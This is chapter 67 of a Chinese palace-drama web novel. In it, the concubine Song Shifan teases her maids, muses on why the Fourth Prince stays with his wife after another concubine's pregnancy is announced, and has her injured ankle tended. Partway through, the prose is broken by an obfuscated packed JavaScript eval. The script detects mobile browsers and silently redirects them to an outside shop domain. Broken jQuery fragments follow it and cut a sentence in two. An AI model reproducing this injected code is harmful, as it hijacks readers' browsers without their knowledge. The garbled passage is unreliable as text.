67. 娶这么多老婆干嘛?
    “格格怎么着竹苓了?奴才刚刚跟她迎面撞上,她一句话不说捂着脸就跑了...”

    白薇从外头进来,脸上还带着些许疑惑,可打眼瞧见宋时繁正歪在软榻上笑得花枝乱颤呢,心下还有什么不明了的?肯定是自家格格这个促狭鬼,又拿竹苓逗乐子了,把人都给逗弄跑了。

    “奴才知道了,定是格格您呀,又捉弄竹苓了。”白薇走上前笑了笑。

    “我可没有招她,是她巴巴地先来招我的。”宋时繁鼓了鼓嘴,从鼻子里发出一声愉悦的轻哼来。

    白薇摇摇头,眼底都是笑意:“那也是,竹苓脸皮子多薄哇,可比不上格格您,必是她招惹格格在先的,这才把自己臊走了。”

    宋时繁原本还在心里得意,细细一琢磨才反应过来白薇这句话里的意思,当下就不乐意了。

    “好啊,你个白薇,竟然敢戏弄我。”说着,宋时繁就伸手去咯吱白薇的腰肢,白薇一贯是最怕痒的,哪里经受的住这个?

    “好格格,好格格,您饶了奴才,是奴才错了,格格快饶了奴才吧。”

    白薇被咯吱得难受,嘴里不住求饶,偏白薇还不敢往旁边躲,生怕一个不小心将宋时繁带摔倒了,如今宋时繁的脚虽说好多了,可走得还不是很利索呢。

    实在没法子了,白薇只得祭出保命符来:“格格...格格!奴才有事要跟你禀报,真的,是要紧事儿呢,您先放过奴才...”

    宋时繁这才罢了手,斜倚在软榻上直喘气儿,缓了好一会儿才道:“什么事儿啊?”

    白薇略略整理了一下刚刚被宋时繁弄皱的衣裳,又捋了捋头发,收敛神色后开口道:“方才奴才去给三宝子送东西,他跟奴才说,下午的时候,主子爷出了郭格格的院子,直接就去了正院里,这会子正陪着福晋用晚膳呢,看样子,主子爷今晚应该要留在正院了。”

    宋时繁闻言不禁白了白薇一眼,心说这算哪门子的要紧事儿呀?四爷去找福晋那不是天经地义的吗?

    白薇见宋时繁没反应,还以为宋时繁没开窍,面上便有些着急:“格格您就不觉得奇怪吗?今儿个郭格格刚查出有孕来,好歹是件喜事儿,可主子爷怎么都没去陪一陪郭格格,反倒去了福晋那里,福晋不是一向...”

    后面的话白薇没继续说下去,不过宋时繁也已经听懂她是什么意思了。

    “白薇,再怎么着,她都是福晋,是主子,跟咱们不一样的。”

    确实,福晋一向不太得宠,但是她的身份就摆在那里,只要福晋没犯大错,四爷还是会尊敬她的,好比先前,四爷和福晋冷战,看着闹得也凶得很,过后,两个还不是跟没事儿人一样,该留宿留宿吗?

    四爷对福晋可不会像对她们这些格格,到底多了一份慎重在。

    而她们这些格格,说穿了,兴许都不如宫女丫鬟呢,宫女丫鬟们到年纪了要是愿意的话还能出府谋个别的路子,可她们就只能一辈子跟着四爷被困囿在府中了。

    当然,如果四爷顺利登基,她们倒是可以换个地方待一待,能被圈在皇宫里,不过,那就更是不见天日的地方了。

    白薇听了这话却犹自不解:“难道主子爷不是个重视子嗣的?那也说不通啊...”

    宋时繁闻言不由失笑:“傻白薇,哪有男人不喜欢子嗣的?可你怎么不想想,能给四爷留下子嗣的人海了去了,难道四爷个个都会喜欢不成?”

    “旁的不提,就先前我刚生下大格格那会子,府里人都觉得大格格看着就要不成了...”

    宋时繁的话还没说完就被白薇打断了:“格格您又胡说八道了,嘴里也没个忌讳,咱们大格格好着呢,一看就是福寿绵长的样子。”说罢,白薇还煞有介事地念了句佛。

    宋时繁笑了笑,顺着白薇的话道:“是是是,怪我瞎说了,咱们大格格肯定长命百岁,我的意思是,府里那些人没起子眼力见,都这么以为,说句大不敬的话,怕是四爷的心里都存了个疑影儿呢,见我孩子生得不好,难不成四爷就不恼?”

    “可主子爷对咱们大格格挺上心的呀,也常来看格格...”白薇犹疑道。

    “那也是咱们大格格自己争气,硬是从出生到现在都健健康康的,如今更是愈发好了,四爷是看着孩子的面儿呢,所以呀,白薇你明白了吗?就算是子嗣,也是不同的,更何况郭格格本就不太得四爷的心,常言道母以子贵,殊不知在这皇家里,还有句话叫子以母贵呢。”

    既说到这个份儿上了,宋时繁干脆把话掰开了,揉碎了说给白薇听。

    白薇似有所觉:“那格格您的意思是...郭格格不得宠所以连带着怀的孩子也?是了...四爷就很喜欢李格格,对她的孩子就很重视,常去陪伴她,这么想来,奴才倒还真觉得郭格格有点儿可怜了...”

    宋时繁却又摇了摇头:“这可能只是其中一个原因吧,更主要的是,如今府上有两位格格怀着身孕呢,可福晋的肚子却一直没有动静,若四爷再偏宠着有身孕的格格们,那福晋的心里怕就要不好受了,你别看今日四爷去了正院,怕是之后几日,四爷都会去陪伴福晋呢。”

    “原是这样,倒是奴才想得简单了。”白薇歪了歪头。

    “我也是私下里跟你瞎猜猜罢了,至于四爷心里到底是不是这么想的嘛,那我就不清楚咯。”宋时繁弯唇笑了笑,露出一小排牙齿,显得异常俏皮。

    其实,宋时繁心里的想法还没有跟白薇说完全。

    她觉得,四爷急着安抚福晋还有一个最重要的原因,那就是怕福晋万一再动个手脚什么的,会伤到他的子嗣。

    之前那次,李格格是已经坐稳了胎,这才万幸没事,但是如今,郭格格有孕还不满三月呢,若真有个什么不测,那到时可就真说不清了。

    眼下,四爷面上显得不重视郭格格的这一胎,倒也算是一种对她的变相保护了。

    如此想来,四爷还算是有点担当,但不多,毕竟,若是他不把这么多女人娶回来,肯定也没后面这么多事了。

    宋时繁有时候也是真搞不懂古代人干嘛非要弄这些三妻四妾回来,瞧瞧,连堂堂皇阿哥想平衡后院都不是一件容易事呢。<

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13715911|142106||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    p>不过,说到底,这些都不是宋时繁如今的身份该操心的事,所以还是别告诉白薇得好,不如早点洗洗睡吧。

    这段日子,宋时繁沐浴之后,白薇和竹苓都会遵照于太医的意思,再单独给她脚上的伤处热敷一下,一般这个时候,宋时繁都已经歪在床榻上,随时准备睡过去了。

    可今日,许是因着时辰还早的缘故,宋时繁便显得格外有精神。

    “我瞧着好像都不肿了呢,怎么看着还是这样吓人。”宋时繁摸了摸自己的脚踝。

    其实宋时繁已经摸不到肿胀了,而且她都可以下地走路了,脚踝处动起来也不疼了,显然是好得差不多了,可宋时繁的脚踝那里看上去还是青青紫紫一大片,甚至青到了脚面上,吓人得很。

    “是好多了,可这淤青怎么总也不消呢?”白薇也有些诧异。

    “许是格格的皮肤太白嫩了些,所以便显得格外严重了。”竹苓思索后开口道。

    宋时繁闻言一想还真有这么个可能,原主确实给她留了一身又滑嫩又白净的肌肤。

    思及此,宋时繁煞有介事地点点头:“竹苓你说的很有道理,看来皮肤太好也有烦恼呀。”宋时繁故作无奈地摊开手,臭屁得很。

    “莫不如再请了于太医来瞧瞧?”白薇仍是有些不放心,这看着也太吓人了。

    “你当于太医是什么大善人不成?先前那都是看在四爷的面子上,他才肯来给我一个格格诊脉的,咱们想请他可请不到,而且都快好了干嘛还要见太医呀。”宋时繁摆摆手示意不用这么麻烦了。

    “哼,奴才看格格是怕太医来了又给您开苦药汁子喝吧。”白薇轻轻哼了一声,然后仔仔细细地帮宋时繁擦好脚,又伸手拉过被子,将宋时繁的脚包裹了起来。

    宋时繁被戳穿心思也不恼,皱了皱鼻子笑道:“你们也快去睡吧,可不许在外头守夜啊,回头再把身子给冻坏了。”

    “知道了,格格快睡吧。”

    宋时繁一向不许她们两个守夜,不管是在门外还是在屋内,总之晚上都不许她们守着。

    宋时繁还一直强调自己没有起夜的习惯,夜里用不着人伺候,甚至威胁说有人在旁边她睡不好,好说歹说才算劝住了白薇和竹苓打算守夜的想法。

    毕竟现在可是冬日,好好的姑娘们这样守上一夜可不是要冻坏了,难不成舒舒服服躺在自己被窝里不香吗?干嘛平白无故受这个罪。

    反正宋时繁是绝对不允许有人给她守夜的,等听到白薇和竹苓都老老实实应下以后,她才放心地躺进被窝里。

    竹苓见宋时繁躺好后,便把床前挂着的帘子放了下来,白薇则将内室里的灯逐一吹灭,见宋时繁也没了动静,二人这才退了出去。

    果不其然,就如宋时繁猜测的那样,在之后的几天里,四爷都是留宿正院的,后院里倒是还算相安无事。

    这天一大早,宋时繁就被喊了起来,有一段日子没早起了,宋时繁还真有点子不习惯了。

    可如今她的脚已经好得差不多了,再不能一味躲懒,也该去给福晋请安了。